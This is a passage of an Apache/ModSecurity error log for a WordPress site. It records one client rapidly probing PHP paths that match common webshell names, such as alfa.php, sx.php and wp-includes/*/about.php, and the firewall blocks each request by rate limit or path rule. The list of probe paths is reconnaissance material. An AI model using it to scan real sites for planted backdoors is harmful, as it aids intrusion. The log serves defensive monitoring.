[Mon Apr 27 04:49:30.083688 2026] [:error] [pid 22647:tid 22720] [client 172.212.183.249:61206] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "ae56WmjfVULTjnk5SzN6AQAAAIo"]
[Mon Apr 27 04:49:31.147526 2026] [:error] [pid 22647:tid 22710] [client 172.212.183.249:62529] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "ae56W2jfVULTjnk5SzN6BAAAAIA"]
[Mon Apr 27 04:49:31.923272 2026] [:error] [pid 22647:tid 22729] [client 172.212.183.249:62645] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "ae56W2jfVULTjnk5SzN6CAAAAJM"]
[Mon Apr 27 04:49:32.401215 2026] [:error] [pid 22751:tid 22777] [client 172.212.183.249:62576] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/item.php"] [unique_id "ae56XCc0tCpVyVdFok9_DQAAANc"]
[Mon Apr 27 04:49:33.143624 2026] [:error] [pid 22751:tid 22758] [client 172.212.183.249:62555] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "ae56XSc0tCpVyVdFok9_DgAAAMQ"]
[Mon Apr 27 04:49:33.854786 2026] [:error] [pid 22647:tid 22717] [client 172.212.183.249:62651] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "ae56XWjfVULTjnk5SzN6DwAAAIc"]
[Mon Apr 27 04:49:34.791300 2026] [:error] [pid 22646:tid 22683] [client 172.212.183.249:62629] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "ae56Xok_HyZhTP6AYady7AAAAEA"]
[Mon Apr 27 04:49:36.380112 2026] [:error] [pid 22751:tid 22757] [client 172.212.183.249:62615] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "ae56YCc0tCpVyVdFok9_GgAAAMM"]
[Mon Apr 27 04:49:37.525261 2026] [:error] [pid 22646:tid 22695] [client 172.212.183.249:61696] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ae56YYk_HyZhTP6AYady7gAAAEw"]
[Mon Apr 27 04:49:38.560553 2026] [:error] [pid 22647:tid 22721] [client 172.212.183.249:62560] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ae56YmjfVULTjnk5SzN6GwAAAIs"]
[Mon Apr 27 04:49:39.898214 2026] [:error] [pid 22751:tid 22764] [client 172.212.183.249:61730] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ae56Yyc0tCpVyVdFok9_IwAAAMo"]
[Mon Apr 27 04:49:41.232516 2026] [:error] [pid 22647:tid 22722] [client 172.212.183.249:62616] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/404.php"] [unique_id "ae56ZWjfVULTjnk5SzN6IQAAAIw"]
[Mon Apr 27 04:49:42.051883 2026] [:error] [pid 22751:tid 22759] [client 172.212.183.249:61655] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mail.php"] [unique_id "ae56Zic0tCpVyVdFok9_LgAAAMU"]
[Mon Apr 27 04:49:42.983572 2026] [:error] [pid 22646:tid 22691] [client 172.212.183.249:62620] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mail.php"] [unique_id "ae56Zok_HyZhTP6AYady_AAAAEg"]
[Mon Apr 27 04:49:43.651062 2026] [:error] [pid 22646:tid 22704] [client 172.212.183.249:62649] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mail.php"] [unique_id "ae56Z4k_HyZhTP6AYady_QAAAFU"]
[Mon Apr 27 04:49:44.757248 2026] [:error] [pid 22646:tid 22692] [client 172.212.183.249:61719] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mail.php"] [unique_id "ae56aIk_HyZhTP6AYadzAwAAAEk"]
[Mon Apr 27 04:49:46.156160 2026] [:error] [pid 22646:tid 22695] [client 172.212.183.249:62539] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "ae56aok_HyZhTP6AYadzBgAAAEw"]
[Mon Apr 27 04:49:47.223442 2026] [:error] [pid 22647:tid 22727] [client 172.212.183.249:61739] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "ae56a2jfVULTjnk5SzN6KQAAAJE"]
[Mon Apr 27 04:49:48.261573 2026] [:error] [pid 22646:tid 22707] [client 172.212.183.249:61664] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "ae56bIk_HyZhTP6AYadzDgAAAFg"]
[Mon Apr 27 04:49:49.130852 2026] [:error] [pid 22751:tid 22767] [client 172.212.183.249:62603] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "ae56bSc0tCpVyVdFok9_PwAAAM0"]
[Mon Apr 27 04:49:50.412348 2026] [:error] [pid 22647:tid 22733] [client 172.212.183.249:62593] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sx.php"] [unique_id "ae56bmjfVULTjnk5SzN6MAAAAJc"]
[Mon Apr 27 04:49:52.485163 2026] [:error] [pid 22646:tid 22685] [client 172.212.183.249:61641] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sx.php"] [unique_id "ae56cIk_HyZhTP6AYadzGwAAAEI"]
[Mon Apr 27 04:49:53.846380 2026] [:error] [pid 22646:tid 22699] [client 172.212.183.249:62583] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sx.php"] [unique_id "ae56cYk_HyZhTP6AYadzLgAAAFA"]
[Mon Apr 27 04:49:54.995585 2026] [:error] [pid 22751:tid 22766] [client 172.212.183.249:61718] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/sx.php"] [unique_id "ae56cic0tCpVyVdFok9_TAAAAMw"]
[Mon Apr 27 04:49:56.399656 2026] [:error] [pid 22646:tid 22701] [client 172.212.183.249:61675] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ae56dIk_HyZhTP6AYadzVgAAAFI"]
[Mon Apr 27 04:49:58.486172 2026] [:error] [pid 22751:tid 22767] [client 172.212.183.249:61190] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ae56dic0tCpVyVdFok9_XQAAAM0"]
[Mon Apr 27 04:50:01.341529 2026] [:error] [pid 22645:tid 22671] [client 172.212.183.249:62542] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ae56eX-Pq2r302zQbMaP2QAAABA"]
[Mon Apr 27 04:50:03.449585 2026] [:error] [pid 22751:tid 22764] [client 172.212.183.249:61722] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ae56eyc0tCpVyVdFok9_bwAAAMo"]
[Mon Apr 27 04:50:04.723214 2026] [:error] [pid 22751:tid 22770] [client 172.212.183.249:62636] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "ae56fCc0tCpVyVdFok9_cwAAANA"]
[Mon Apr 27 04:50:06.065386 2026] [:error] [pid 22647:tid 22713] [client 172.212.183.249:62554] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "ae56fmjfVULTjnk5SzN6UwAAAIM"]
[Mon Apr 27 04:50:06.996563 2026] [:error] [pid 22751:tid 22778] [client 172.212.183.249:62604] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "ae56fic0tCpVyVdFok9_ewAAANg"]
[Mon Apr 27 04:50:07.653853 2026] [:error] [pid 22645:tid 22668] [client 172.212.183.249:61653] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/alfa.php"] [unique_id "ae56f3-Pq2r302zQbMaP6AAAAA0"]
[Mon Apr 27 04:50:08.819981 2026] [:error] [pid 22645:tid 22655] [client 172.212.183.249:62601] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ae56gH-Pq2r302zQbMaP6wAAAAA"]
[Mon Apr 27 04:50:10.005555 2026] [:error] [pid 22646:tid 22698] [client 172.212.183.249:61707] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ae56gok_HyZhTP6AYadzegAAAE8"]
[Mon Apr 27 04:50:10.858950 2026] [:error] [pid 22751:tid 22778] [client 172.212.183.249:61195] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ae56gic0tCpVyVdFok9_jAAAANg"]
[Mon Apr 27 04:50:12.312144 2026] [:error] [pid 22751:tid 22770] [client 172.212.183.249:61732] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "ae56hCc0tCpVyVdFok9_kAAAANA"]
[Mon Apr 27 04:50:14.466968 2026] [:error] [pid 22647:tid 22727] [client 172.212.183.249:61672] File does not exist: /usr/local/apache/htdocs/suspended-page/byp.php
[Mon Apr 27 04:50:14.656728 2026] [:error] [pid 22647:tid 22712] [client 172.212.183.249:61672] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-trackback.php
[Mon Apr 27 04:50:15.481478 2026] [:error] [pid 22647:tid 22732] [client 172.212.183.249:61672] File does not exist: /usr/local/apache/htdocs/suspended-page/gmo.php
[Mon Apr 27 04:50:16.248462 2026] [:error] [pid 22647:tid 22733] [client 172.212.183.249:61672] [client 172.212.183.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "ae56iGjfVULTjnk5SzN6ZwAAAJc"]
[Mon Apr 27 04:50:19.461633 2026] [:error] [pid 22645:tid 22671] [client 172.212.183.249:61208] [client 172.212.183.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "ae56i3-Pq2r302zQbMaP-QAAABA"]
[Mon Apr 27 04:50:22.784653 2026] [:error] [pid 22647:tid 22721] [client 172.212.183.249:62589] [client 172.212.183.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "ae56jmjfVULTjnk5SzN6bAAAAIs"]
[Mon Apr 27 04:50:24.121120 2026] [:error] [pid 22751:tid 22759] [client 172.212.183.249:62573] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "ae56kCc0tCpVyVdFok9_pgAAAMU"]
[Mon Apr 27 04:50:25.237569 2026] [:error] [pid 22647:tid 22726] [client 172.212.183.249:61754] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "ae56kWjfVULTjnk5SzN6bQAAAJA"]
[Mon Apr 27 04:50:26.744870 2026] [:error] [pid 22647:tid 22720] [client 172.212.183.249:61217] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "ae56kmjfVULTjnk5SzN6cQAAAIo"]
[Mon Apr 27 04:50:29.771010 2026] [:error] [pid 22647:tid 22734] [client 172.212.183.249:62571] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "ae56lWjfVULTjnk5SzN6eAAAAJg"]
[Mon Apr 27 04:50:31.003906 2026] [:error] [pid 22645:tid 22674] [client 172.212.183.249:61711] [client 172.212.183.249] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "ae56l3-Pq2r302zQbMaQBAAAABM"]
[Mon Apr 27 04:50:32.177091 2026] [:error] [pid 22647:tid 22720] [client 172.212.183.249:62653] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww1.php"] [unique_id "ae56mGjfVULTjnk5SzN6fgAAAIo"]
[Mon Apr 27 04:50:33.472896 2026] [:error] [pid 22751:tid 22773] [client 172.212.183.249:62594] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww1.php"] [unique_id "ae56mSc0tCpVyVdFok9_vAAAANM"]
[Mon Apr 27 04:50:34.182823 2026] [:error] [pid 22645:tid 22678] [client 172.212.183.249:61708] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww1.php"] [unique_id "ae56mn-Pq2r302zQbMaQCQAAABc"]
[Mon Apr 27 04:50:34.826630 2026] [:error] [pid 22645:tid 22665] [client 172.212.183.249:61727] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww1.php"] [unique_id "ae56mn-Pq2r302zQbMaQCgAAAAo"]
[Mon Apr 27 04:50:35.507314 2026] [:error] [pid 22646:tid 22694] [client 172.212.183.249:61659] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about/function.php"] [unique_id "ae56m4k_HyZhTP6AYadzlwAAAEs"]
[Mon Apr 27 04:50:36.272824 2026] [:error] [pid 22646:tid 22703] [client 172.212.183.249:62581] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about/function.php"] [unique_id "ae56nIk_HyZhTP6AYadzmwAAAFQ"]
[Mon Apr 27 04:50:38.358788 2026] [:error] [pid 22647:tid 22732] [client 172.212.183.249:62612] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about/function.php"] [unique_id "ae56nmjfVULTjnk5SzN6hwAAAJY"]
[Mon Apr 27 04:50:39.108189 2026] [:error] [pid 22751:tid 22775] [client 172.212.183.249:62638] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about/function.php"] [unique_id "ae56nyc0tCpVyVdFok9_xgAAANU"]
[Mon Apr 27 04:50:40.137383 2026] [:error] [pid 22751:tid 22757] [client 172.212.183.249:61219] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/function.php"] [unique_id "ae56oCc0tCpVyVdFok9_zQAAAMM"]
[Mon Apr 27 04:50:41.404187 2026] [:error] [pid 22751:tid 22753] [client 172.212.183.249:62551] [client 172.212.183.249] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/admin/function.php"] [unique_id "ae56oSc0tCpVyVdFok9_0wAAAMA"]
